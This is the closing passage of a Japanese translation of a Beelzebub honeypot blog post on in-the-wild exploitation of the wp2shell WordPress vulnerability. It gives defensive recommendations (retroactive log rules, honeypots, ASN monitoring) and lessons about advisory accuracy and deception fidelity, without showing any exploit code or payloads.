  1. 上記のSigmaルールとSuricataルールを導入し、7月17日以降のログに遡って適用してください。ウォッチしていない間にエクスプロイトが実行されていたなら、証拠が残っている唯一の場所はログだけです。
  2. ハニーポットを導入してください。脆弱なバージョンになりすましたBeelzebubインスタンスは、正当な通信が一切発生しないため誤検知ゼロで、自社の境界から悪用のテレメトリを得られます。
  3. 上記に挙げたASNを監視してください。これらのASNが必ずしも常に悪意あるものというわけではありませんが、活発な一斉攻撃キャンペーンの最中においては優先度付けの高精度な判断材料になります。

結論

wp2shellは、現代の脆弱性ライフサイクルを1週間に凝縮したような事例です。金曜日にパッチが公開され、日曜日には武器化された悪用が始まり、月曜日には公開PoCが出回り、火曜日にはインターネット全体への一斉攻撃が展開されました。「詳細を伏せた」状態から「野生下で動作するエクスプロイトが確認される」までの48時間という空白こそ、防御側が肝に銘じるべき数字です。

ハニーポットのデータから得られた2つの詳細は、このニュースサイクルが過ぎ去った後も語り継がれるべきものです。

1つ目は、文書上「ブラインド」とされていたインジェクションが、実はブラインドではなかったという点です。勧告の記述は脆弱性そのものについては正確でしたが、エクスプロイトについては誤っていました。攻撃者はデータを直接返すハイドレーション経路を見つけ出していたからです。勧告の文言だけをもとに組み立てた脅威モデルは、すぐに陳腐化してしまいます。

2つ目は、欺瞞の忠実度が、得られるインテリジェンスの質を決めるという点です。興味深いエンドポイントに対して401を返すハニーポットは、スキャナーのノイズしか収集できません。整形された空のバッチレスポンスで200を返すハニーポットは、ペイロードそのものに加え、抽出用ハーネスの設計、カナリアの形式、そして複数の独立したエクスプロイト実装のフィンガープリントまでも収集できるのです。

欺瞞は受動的なものではありません。適切に行えば、それは防御側が利用できる中で最も安価な攻撃的インテリジェンス収集手段となります。


参考文献

翻訳元: https://beelzebub.ai/blog/catching-wp2shell-in-the-wild/

ソース: beelzebub.ai